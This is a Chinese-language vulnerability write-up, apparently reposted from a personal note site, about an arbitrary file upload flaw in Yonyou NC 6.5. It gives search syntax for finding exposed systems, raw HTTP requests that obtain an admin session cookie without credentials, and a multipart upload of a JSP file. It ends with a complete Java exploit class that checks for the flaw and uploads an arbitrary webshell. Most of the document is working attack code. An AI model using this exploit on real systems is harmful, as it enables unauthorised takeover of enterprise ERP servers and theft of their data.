登录 白背景

用友NC uploadControl任意文件上传漏洞

一、漏洞描述

用友NC是用友网络科技股份有限公司研发的一款大型erp企业管理系统与电子商务平台。 该产品存在文件上传漏洞,攻击者可利用该漏洞获取服务器控制权。

二、影响版本

  • 用友NC6.5

三、资产测绘

  • huiter:app.name=="用友 UAP"

image.png

  • 登录页面

image.png

四、漏洞复现

  1. 通过poc获取cookie
GET /mp/loginxietong?username=admin HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close

image.png

  1. 通过获取到的cookie上传文件
POST /mp/uploadControl/uploadFile HTTP/1.1
Host: xx.xx.xx.xx
Content-Length: 312
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoDIsCqVMmF83ptmp
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: JSESSIONID=633538797AC8C855098ACCFEAC78A197.server;
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundaryoDIsCqVMmF83ptmp
Content-Disposition: form-data; name="file"; filename="du1.jsp"
Content-Type: application/octet-stream

Hello Administrator!
------WebKitFormBoundaryoDIsCqVMmF83ptmp
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryoDIsCqVMmF83ptmp--

image.png

  1. 上传文件位置
http://xx.xx.xx.xx/mp/uploadFileDir/du1.jsp

image.png

五、漏洞利用代码(Java

  • 传入参数

    • url(系统url地址,格式http://127.0.0.1
    • fileName(上传wbshell文件名,格式:xx.jsp)
    • webshell(webshell内容,jspwebshell)
  • 方法

    • POC()检查漏洞是否存在。当漏洞存在时返回true,并获取cookie,为cookie赋值
    • EXP()漏洞利用,上传webshell并返回上传路径path
package yonyou;

import com.github.kevinsawicki.http.HttpRequest;

public class YonyouNC_UploadControl_Upload {
    private String url;//定义用友NCurl地址
    private String path;//定义漏洞path目录地址
    private String cookie;//定义cookie
    private String webshell;//定义webshell内容
    private String fileName;//定义上传文件名

    public String getUrl() {
        return url;
    }

    public void setUrl(String url) {
        this.url = url;
    }

    public String getPath() {
        return path;
    }

    public void setPath(String path) {
        this.path = path;
    }

    public String getCookie() {
        return cookie;
    }

    public void setCookie(String cookie) {
        this.cookie = cookie;
    }

    public String getWebshell() {
        return webshell;
    }

    public void setWebshell(String webshell) {
        this.webshell = webshell;
    }

    public String getFileName() {
        return fileName;
    }

    public void setFileName(String fileName) {
        this.fileName = fileName;
    }

    public boolean POC() {
        //获取cookie path路径
        path = "/mp/loginxietong?username=admin";
        //发起get请求获取cookie信息
        HttpRequest getCookie = HttpRequest.get(url + path)
                .trustAllCerts()
                .trustAllHosts()
                .connectTimeout(5000)
                .readTimeout(5000)
                .followRedirects(false);

        //当响应码为302,表示漏洞存在
        if (getCookie.code() == 302) {
            cookie = getCookie.header("Set-Cookie");
            return true;
        }
        return false;
    }

    //EXP,上传webshell
    public boolean EXP() {
        //定义文件上传path路径
        path = "/mp/uploadControl/uploadFile";
        //通过POC判断漏洞是否存在,当存在漏洞时上传webshell
        if (POC()) {
            //发起post请求上传文件
            HttpRequest uploadFile = HttpRequest.post(url + path)
                    .trustAllCerts()
                    .trustAllHosts()
                    .connectTimeout(5000)
                    .readTimeout(5000)
                    .header("Cookie", cookie)
                    .part("file", fileName, webshell)
                    .part("submit", "上传");

            //当响应码为200时返回true,表示文件上传成功,并返回文件上传路径
            if (uploadFile.code() == 200) {
                path = "/mp/uploadFileDir/" + fileName;
                return true;
            }
            //文件上传失败,不存在漏洞
            return false;
        }
        //不存在漏洞,返回false
        return false;
    }
}

原文: https://www.yuque.com/xiaokp7/ocvun2/abysgo9k9d1biekr